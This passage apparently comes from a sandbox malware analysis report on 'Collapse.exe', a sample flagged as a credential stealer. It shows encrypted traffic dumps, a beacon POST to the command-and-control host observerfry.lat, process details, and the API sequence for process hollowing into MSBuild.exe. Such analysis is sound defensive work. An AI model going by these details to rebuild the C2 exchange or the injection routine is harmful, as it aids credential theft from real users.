2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: a0 d8 11 28 e9 da ed 29 35 9e b4 66 22 a5 e6 94 ac e6 10 2c d3 53 8a f8 04 de 4c 69 19 a6 f8 3c 66 91 9c c6 6d 09 74 95 67 73 1d f1 1c e2 9a fc f0 92 73 c1 2f db 87 d9 24 22 b5 03 45 11 d8 92 5e fb 16 0c 1b ec 2a 4c 8f 32 c2 c2 7e 0b d0 06 37 76 c9 44 41 b9 b6 5f 38 0f 24 2f 3b 2f 4d 7e 74 db f1 51 2c f9 42 53 e5 54 a9 5d 11 cc 3c 97 99 51 06 75 f2 a5 80 2b 0b fd de 2b d7 f9 cc 3d 4d a8 82 5b 07 37 6c 34 53 6a 3c 6a 63 e9 7e 72 a8 75 51 de 99 e1 f0 eb 80 16 4d ab 4e 5a d9 93 b4 73 64 cb b2 bc 65 37 ec 07 be 2a 59 10 72 0f 53 1e c4 09 56 b5 2b 83 68 01 cd 4f 3b 03 01 89 b1 c1 32 db df d5 28 ad 28 ca e2 e3 ea 15 65 8d 7c 1b 24 a4 38 80 b4 e9 61 6c 4a fb 82 4a 9e 6b 05 be 5e 9e f2 24 b0 4d 1f 10 0a ef dc 16 79 08 33 8d fa 6e 07 c0 91 97 88 cf 92 ad 55 18 dd Data Ascii: ()5f",SLi<fmtgss/$"E^L2~7vDA_8$/;/M~tQ,BST]<Qu++=M[7l4Sj<jc~ruQMNZsde7YrSV+hO;2((e\|$8alJJk^$My3nU
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: 7e 4c de 7d 0c 13 17 eb d7 cc 7b 5b 52 0a 2a 39 2f 99 6e 1f 5d eb 06 f1 ba d4 1f 6b 86 dc 73 03 f4 8b 3f 4c 09 ee 6e bc 2f ea 71 a5 5b 3d 4b bf 78 38 f9 2e bd 72 60 3b f7 c7 03 be 8f 0f 5a 97 77 2a 47 d7 fc 0a 9e 3e 7c 29 35 cc 79 ba fa f2 e9 cd 5f 6f 55 2f 37 af f6 d4 6d b2 57 6b b7 dd 5e c4 3f 54 9b 93 06 c3 de 03 05 5f 3f 5e 73 4c 4b 37 1c 8f 5c 9d b8 6f b5 ce 5c 8a 25 1b 92 b9 fd d8 44 82 d3 42 66 57 a9 a2 84 ff e7 58 9f 65 9a 6a 61 6c 8a 87 6c f2 a3 d5 03 b5 6e 19 55 0f 73 96 8c e8 e7 d0 bc 9a a0 87 49 28 5d 93 b9 9a b8 1f a1 b6 e1 bd f7 fe 7a 4c 3f 70 08 ae 0e 6c 71 d4 ee 09 f6 47 03 b7 cb de 11 b1 3e 74 69 f4 b4 1b c4 e4 23 1b 1f 0c 13 c1 a6 fe 23 e1 73 17 2b 37 1f db 2c b3 f1 01 64 9a 55 16 c1 11 5a 44 bd df ee 1e 23 c9 1d a4 c8 dd 0d 8e c8 fe aa Data Ascii: ~L}{[R9/n]ks?Ln/q[=Kx8.r`;ZwG>\|)5y_oU/7mWk^?T_?^sLK7\o\%DBfWXejallnUsI(]zL?plqG>ti##s+7,dUZD#
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: 47 f3 7b c3 ec e2 34 9d 7c a5 6e 0b d6 f5 1c e4 0f 66 4b a9 56 69 3f df 27 6d d6 24 78 ae 33 2d 12 86 23 3c f9 50 9c ee df 42 be d8 e2 db 2c af 94 e6 2e 5f c9 7b 5f ae 61 16 9f aa 27 3c 20 6f af 61 17 b8 4a 7a a8 13 2a bb bd 38 30 21 fe bd e3 a7 8f ad 42 fa 6a 8d d0 15 31 75 a3 f4 34 41 d7 ef 06 ed 3f 3a 6f ce a6 e9 e2 8e 2a f6 b9 82 54 a9 dc 61 4f f5 de 39 a3 1d a3 a2 37 b7 e0 ce 17 1e 63 77 04 4f 3e 3b 0b fc e1 30 4f 9e 9f 55 59 42 8c 2e 79 a3 30 c3 d9 22 0d 08 92 38 5a 26 e7 0d 1d 5e 7c 0b d4 a1 e5 db 53 e5 c5 e9 b9 fd 76 e4 7e 17 7e 53 f7 a9 bc 8a 4b 0a 77 87 34 6e a7 9b 7d 24 e6 f2 2e 1f 8e c6 e5 6b 35 b8 fd bc e0 5d 9e cf 23 68 69 82 91 16 aa d8 ac 59 19 79 47 5c 36 b3 73 99 fa e1 cd f9 7e df 28 47 9f 20 ce d4 2a ff 13 ee c0 07 1a 98 8e ce 3c cc 70 Data Ascii: G{4\|nfKVi?'m$x3-#<PB,._{_a'< oaJz80!Bj1u4A?:oTaO97cwO>;0OUYB.y0"8Z&^\|Sv~~SKw4n}$.k5]#hiYyG\6s~(G *<p
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: b5 d8 50 4c 8c 07 ec 54 c1 30 95 97 dd 0e 70 d4 0f 51 1d a6 88 e5 5a 4f f8 93 52 bf 3e da cc d8 ed 84 cf 8f cf 7f f0 55 91 6f fe c6 dc a7 86 7e 31 a1 9f 4a d1 41 0c 23 76 6c 0f 6e d6 8f f0 70 3e e1 81 71 b5 b1 07 ba a3 2b 2f 65 ce 45 21 6c 72 e3 ec c7 b4 6a 43 3d b9 84 26 c3 4b d3 55 4f e8 c9 68 73 f5 ec 87 fd dd 0b 2c 30 e1 f9 ab 44 4d 89 48 27 ae f2 f2 4c ac 15 7c 25 06 df 3a f7 34 c2 43 bf eb dd 4b 44 bb 51 6d 7f e3 36 fc 19 e3 ce b7 ba 76 32 bf ce 36 c4 2f 34 7d f6 7a 9b da 8b 9b 86 76 22 c4 57 0d f1 4d c7 92 d1 9e 85 14 f5 91 83 11 ea 59 f1 71 9f 25 47 a1 65 91 d5 43 b3 0d ae ea d7 38 d7 0f e1 5f 50 12 5c dc 8c e6 b5 22 ed e0 36 85 35 5f 54 bb f1 26 82 52 14 c1 f4 9f b1 31 5d 71 6b c5 38 ae 9e 81 e2 54 f6 d9 90 95 f7 b1 3d bf 6b 0e 61 7c 2c aa 7f 0d Data Ascii: PLT0pQZOR>Uo~1JA#vlnp>q+/eE!lrjC=&KUOhs,0DMH'L\|%:4CKDQm6v26/4}zv"WMYq%GeC8_P\"65_T&R1]qk8T=ka\|,
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: 07 a6 ff d2 2a 9f d9 6e d0 cc 23 78 be 42 b2 1b 26 60 3f c4 f8 30 d7 b5 f4 63 ee aa c4 c6 b5 99 a0 bc 3b dd 2e e7 87 3f e5 09 61 c1 fe f6 a9 5d 87 93 ef a1 4e fc 65 ae 05 12 be a3 b7 bd 7b 87 4b f4 86 73 dc 8d 18 8b 22 f2 ac 10 d8 5f 3f 35 9a 72 78 7b 25 12 1f fb 86 63 60 ed 37 53 c4 46 b5 b8 c2 ef a9 08 0a 19 f1 09 79 39 cc 70 6a 73 d9 a6 cf 67 bc a8 9f ee 94 9a 38 af 1f 79 4c 23 fe a3 11 62 dc b7 0b 66 5b 50 7c d1 3b 3a e4 c2 82 35 39 72 a8 c8 9b 3c 54 81 79 95 ae b3 7b cd e7 b3 58 92 a8 ea 5d f5 be 25 1c 15 10 c1 c4 f8 04 bd c6 83 c0 bc 79 c4 ca 36 0d d1 68 ed 3f e7 7d 30 b4 bd 14 b5 12 8b a2 6c ba db 87 17 63 22 40 4b 13 10 f8 81 c2 e0 73 68 3e 99 7a 75 8b c2 47 b8 c6 01 a9 0a 35 06 85 50 3c 3e fd 6c 76 d4 d1 b2 2d b0 c8 5c 1b 56 cc 55 da 9b 4d 4a b0 Data Ascii: *n#xB&`?0c;.?a]Ne{Ks"_?5rx{%c`7SFy9pjsg8yL#bf[P\|;:59r<Ty{X]%y6h?}0lc"@Ksh>zuG5P<>lv-\VUMJ
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: ba 08 53 04 6b 1e bf 52 7a f5 52 58 b7 78 36 39 a1 95 86 03 02 e5 08 ed 9b 2f 79 93 61 22 4c 00 a6 73 b3 86 93 d8 ad 90 e7 db 96 34 b7 21 78 86 ef 1c 09 6b 33 e5 b6 fc 5f 2e a1 ae c6 60 d2 5b b0 f1 4e f7 48 b4 36 ce 29 f2 92 04 e2 c6 48 b4 2e 22 a8 97 fa 6f 28 91 8c 6a 65 f7 5d df d7 ca 2e 7c 83 57 ab 40 88 cb 28 1b 0e ea 7b a5 22 6f 03 bf 32 44 3b 84 35 8f f4 ef fb ee 01 09 b5 60 5f db 16 a4 b5 b2 23 80 cc 72 e1 cd e4 07 18 a9 98 3e 6f 81 01 99 43 57 73 5e fd 25 41 d3 10 ef a1 be 7d b0 d9 2a 81 cf a6 3d 12 22 ce 6e 75 06 14 ef 6e d0 43 66 09 99 07 3d bb a6 a2 f3 ef 85 d7 8c 33 57 aa f9 38 45 22 c9 1b 17 e0 70 38 d8 4f 16 b1 05 f1 d4 39 59 71 15 28 53 0d 14 1d 57 34 b6 04 d9 5e 34 99 1d 2f 03 b4 03 99 9b 8d c5 56 a3 4e 58 4d a1 fc 1e 99 85 51 50 7e 7c a0 Data Ascii: SkRzRXx69/ya"Ls4!xk3_.`[NH6)H."o(je].\|W@({"o2D;5`_#r>oCWs^%A}*="nunCf=3W8E"p8O9Yq(SW4^4/VNXMQP~\|
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: af c4 d5 22 e5 20 75 d6 c2 d1 d6 57 67 ca e6 17 1b 39 27 97 db 08 9a 6c 85 a5 c2 e1 f4 cd 6d 8b 08 4d 3e b3 76 b6 ec 8b 90 45 8d 50 8d 81 70 61 e6 f5 33 62 a2 63 ed d3 f4 04 f7 6b 42 1f 1a 9c 6f 39 f4 0a ed dc 39 0b fa 98 eb 2b ff 5b f2 20 2f 1f 7a ae ed 23 dd 5b 88 e8 bf 7d 7e 7e 9f 8d ea a5 f3 47 f8 b3 02 ec 66 d7 36 73 4f e2 7c 91 4a ad 02 e3 83 b4 0e 2c ea 64 a1 c0 d1 57 56 07 77 f1 ae 20 f5 04 85 a0 ca 63 14 75 54 4a 3e d0 0a e2 d1 a0 dd 32 f9 71 e6 28 b7 8c 07 28 86 ed d7 de 1b 9a bd 58 63 15 1c 19 03 e0 d4 87 5c f9 43 73 3e a2 05 58 ab 55 7b 80 fe bd 3a 64 27 0f c8 ca d0 c5 ea 1f 5d a6 a3 80 89 71 b3 0e 72 00 5b 90 0a 7d 35 80 f9 80 3a ea 5c 29 b7 06 c7 a5 4d 2f 15 0a 11 73 5d f3 f9 58 67 f4 33 35 6a 75 e5 83 82 64 c1 a9 85 9a 2b de df 9b ee 5e d3 Data Ascii: " uWg9'lmM>vEPpa3bckBo99+[ /z#[}~~Gf6sO\|J,dWVw cuTJ>2q((Xc\Cs>XU{:d']qr[}5:\)M/s]Xg35jud+^
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: 3b 1a ff 80 6d 71 56 27 e9 8b 5a 50 5b 8d 84 80 cc 93 b3 76 9c e9 f1 ab 23 d0 df dc 23 72 ee 05 e0 5f 90 5e 52 81 71 0b 83 62 5a d5 5f 3f b7 a3 1f 0c 5f 01 3f 2e fd 5e 7d 66 76 d9 11 18 1d 83 25 43 e2 e9 bd 3b 87 0c 90 1c 74 64 e5 d4 ea a9 9f 0d 48 46 99 38 96 43 0b e8 bc 9a b2 d8 43 52 56 04 f6 b5 b9 0c fb d9 ea 37 b6 77 43 5a 6f 3c 51 e9 38 4a cf c0 35 e7 17 0f 76 fe 2a 52 38 01 55 af 7d f0 ba d9 ea 67 90 a9 23 3b 6d 23 bd e9 42 05 c5 2f 1a 13 a6 5d 22 14 9f 1f bc ad 41 5c 75 85 90 68 ed 6f fc 39 76 3d 9c b2 61 c3 53 31 c5 d2 e1 4b 92 bc b4 eb 45 2d bb f7 5a 8c 4c 66 11 dd 5c e9 23 e9 16 1f 73 d2 07 ab 7b df 3c 73 5d 74 71 28 93 a2 5b 5e 5f 7b 90 17 dc 25 93 17 7c 39 ea 46 96 f9 63 e0 de 42 97 21 e1 fb 38 8f 7f bf 46 41 cf b2 2c 9f b6 0a 81 07 a7 e7 6a Data Ascii: ;mqV'ZP[v##r_^RqbZ_?_?.^}fv%C;tdHF8CCRV7wCZo<Q8J5v*R8U}g#;m#B/]"A\uho9v=aS1KE-ZLf\#s{<s]tq([^_{%\|9FcB!8FA,j
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: f2 b4 f1 50 e2 ec bc 4e 6f 44 9c 90 0b f6 a2 26 23 8e b5 73 30 e7 9a bb e8 1a c5 be e9 a8 32 b4 b9 c1 b3 35 e9 0b de d9 b3 a7 3d 6f 7e 9a 21 41 4a 59 ff d9 7e cf 7f d6 2f ff c6 ec 4b fe 70 8f 13 7f ae 31 ac d6 86 d1 c2 4b f5 b3 13 c5 8e 57 cd d0 98 fd 3c 0c 75 bd 3f c5 65 3d 6b f6 a5 df 1d 25 98 1a 30 f8 c0 77 e4 d9 9c 1f 71 95 48 9d d3 75 65 c3 9c ce 1a 4c 6f 53 25 e5 8b 41 1b 75 e1 96 59 cf 88 2d bf 32 84 9b 85 31 0b 74 49 11 0d b2 4d 11 4f 86 99 ee e8 15 77 c1 86 99 1d 5d e9 1f b4 e7 ff 91 5e f9 37 6c 8e 32 75 d5 ec b2 20 e8 f2 6b 34 d9 82 04 25 4a ec f6 67 9c 26 04 63 bb cf cd 6a 9f ce 85 88 90 be a9 2f 0a ee d7 b3 f4 ce ec f4 9e a5 bb 8a 95 5e 0e ab 7e e3 1e 40 a5 d4 b8 db e7 58 b2 d7 f3 0f df 3d d6 6c dd b0 2a f1 77 ce 56 e3 ae bf 27 fe d5 04 89 ff Data Ascii: PNoD&#s025=o~!AJY~/Kp1KW<u?e=k%0wqHueLoS%AuY-21tIMOw]^7l2u k4%Jg&cj/^~@X=l*wV'
2024-12-24 01:17:25 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=24j5leodsbkb5430ua6gt8t5u9; expires=Fri, 18 Apr 2025 19:04:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wwORm3hWOGosfNE22%2FuaVK0pvMWMBUjzVVPMwwdk2swMZdIchZOiP2zgsIM%2BYBgsdIPqbIWjLlxGqP0Yh4nTg5yBJTDRaQxQNZ2TvwM%2FZhHA4sJHf14QSXiBhrSK0G6hd9o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cc05a5c3f4332-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2329&min_rtt=1734&rtt_var=1076&sent=301&recv=580&lost=0&retrans=0&sent_bytes=2835&recv_bytes=554978&delivery_rate=1683967&cwnd=118&unsent_bytes=0&cid=af7c264466d3ded0&ts=2844&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49740	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:26 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: observerfry.lat
2024-12-24 01:17:26 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 26 6a 3d 26 68 77 69 64 3d 46 45 41 46 35 41 37 45 36 42 43 42 41 36 34 38 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 Data Ascii: act=get_message&ver=4.0&lid=BVnUqo--@distez&j=&hwid=FEAF5A7E6BCBA648961F82810656F945
2024-12-24 01:17:27 UTC	1119	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1umobn2et74t00jifat63epn4p; expires=Fri, 18 Apr 2025 19:04:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aILI76ga8bTncPiQ1lQWiqqR9kPIXQLiol2RNPUmHEpuh2BgrjXVSzJZm3pIvlaMGUv7lpunZ6sKGijYQgJ7TzVCTiJYBd6TrAk6oyMza%2FZqin3Miw4ba6IzAE2CIUyrrjU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cc07538110cb0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&min_rtt=1754&rtt_var=719&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=983&delivery_rate=1664766&cwnd=242&unsent_bytes=0&cid=041c1640cb60db1b&ts=779&x=0"
2024-12-24 01:17:27 UTC	126	IN	Data Raw: 37 38 0d 0a 79 47 7a 38 65 51 32 78 31 65 32 4b 57 2f 63 52 66 49 69 68 48 59 58 44 57 79 78 6d 2b 71 78 38 4e 31 49 55 74 4d 6c 79 79 55 71 54 46 39 34 4d 4c 34 76 33 68 66 34 76 68 79 73 67 70 2f 30 79 74 50 64 73 41 6c 4c 50 67 6b 67 41 66 43 79 46 6c 56 32 71 4a 61 59 45 6b 77 70 35 6e 37 43 56 37 33 6e 62 4d 78 72 38 67 79 65 31 37 33 6c 4a 52 4d 43 63 41 57 6f 3d 0d 0a Data Ascii: 78yGz8eQ2x1e2KW/cRfIihHYXDWyxm+qx8N1IUtMlyyUqTF94ML4v3hf4vhysgp/0ytPdsAlLPgkgAfCyFlV2qJaYEkwp5n7CV73nbMxr8gye173lJRMCcAWo=
2024-12-24 01:17:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:17:04
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Collapse.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Collapse.exe"
Imagebase:	0x980000
File size:	540'160 bytes
MD5 hash:	06BB4E80F74838278CE9467788CC6D94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:17:04
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:17:04
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Collapse.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Collapse.exe"
Imagebase:	0x980000
File size:	540'160 bytes
MD5 hash:	06BB4E80F74838278CE9467788CC6D94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:17:04
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Collapse.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Collapse.exe"
Imagebase:	0x980000
File size:	540'160 bytes
MD5 hash:	06BB4E80F74838278CE9467788CC6D94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:17:04
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Collapse.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Collapse.exe"
Imagebase:	0x980000
File size:	540'160 bytes
MD5 hash:	06BB4E80F74838278CE9467788CC6D94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:17:04
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Collapse.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Collapse.exe"
Imagebase:	0x980000
File size:	540'160 bytes
MD5 hash:	06BB4E80F74838278CE9467788CC6D94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	1.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	32

Executed Functions

Function 009B619E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,009B6110,009B6100), ref: 009B6334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 009B6347
Wow64GetThreadContext.KERNEL32(00000134,00000000), ref: 009B6365
ReadProcessMemory.KERNELBASE(00000130,?,009B6154,00000004,00000000), ref: 009B6389
VirtualAllocEx.KERNELBASE(00000130,?,?,00003000,00000040), ref: 009B63B4
TerminateProcess.KERNELBASE(00000130,00000000), ref: 009B63D3
WriteProcessMemory.KERNELBASE(00000130,00000000,?,?,00000000,?), ref: 009B640C
WriteProcessMemory.KERNELBASE(00000130,00400000,?,?,00000000,?,00000028), ref: 009B6457
WriteProcessMemory.KERNELBASE(00000130,?,?,00000004,00000000), ref: 009B6495
Wow64SetThreadContext.KERNEL32(00000134,028A0000), ref: 009B64D1
ResumeThread.KERNELBASE(00000134), ref: 009B64E0

Strings

aryA, xrefs: 009B61E2
ReadProcessMemory, xrefs: 009B6289
VirtualAllocEx, xrefs: 009B629C
ress, xrefs: 009B6226
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 009B6333
TerminateProcess, xrefs: 009B63C3
ResumeThread, xrefs: 009B62D8
CreateProcessW, xrefs: 009B6250
VirtualAlloc, xrefs: 009B6263
WriteProcessMemory, xrefs: 009B62AF
GetP, xrefs: 009B621E
GetThreadContext, xrefs: 009B6276
SetThreadContext, xrefs: 009B62C2
Load, xrefs: 009B61DA

Memory Dump Source

Source File: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 7a5ce893e3b804a7d66225cf1e6d7ac81b2d3f2b98a5d9145d79f0204d61ae5b
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 5FB1087260064AAFDB60CF68CD80BDA77A5FF88724F158524EA0CAB341D774FA51CB94

Function 0099BD42 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,F1D6E486,?,0099BE51,?,?,00000000), ref: 0099BE03

Strings

api-ms-, xrefs: 0099BD99
ext-ms-, xrefs: 0099BDAD

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: caea27f6a9aebc3339d813ff974f22182cdcb416de1ac38aecd0fb485d08f3a6
Instruction ID: e7b3348feb83d847b4abc2b2069e35d7a79e304c6e8222e503201e61715736ee
Opcode Fuzzy Hash: caea27f6a9aebc3339d813ff974f22182cdcb416de1ac38aecd0fb485d08f3a6
Instruction Fuzzy Hash: 362105B1A09224A7CF219B6DFE41B9B375C9F417B0F250220E916A72D1DB38ED00D6D0

Function 00981860 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 009818E3
GetFileSize.KERNEL32 ref: 00981912
CloseHandle.KERNEL32 ref: 0098192E

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 35548ab9d866f13f9c192b5c82170e745a9ffd163fa8aed71711de723c2f0134
Instruction ID: 1133a2cb3c91c0bda31fd3a38476e2650099663281f611f60b24729ec5f1ed97
Opcode Fuzzy Hash: 35548ab9d866f13f9c192b5c82170e745a9ffd163fa8aed71711de723c2f0134
Instruction Fuzzy Hash: CA71B1B0D08258CFCB04EFA8D58979DBBF4BF48314F10892AE499AB351D735A945CF52

Function 0098A4D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcspn.LIBCMT ref: 0098A631
_strcspn.LIBCMT ref: 0098A65F

Strings

@, xrefs: 0098A92F

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: bc53060a86966f65b89bc7f01dc9249506ac4eaec1d3ad19383e36fb066d32b4
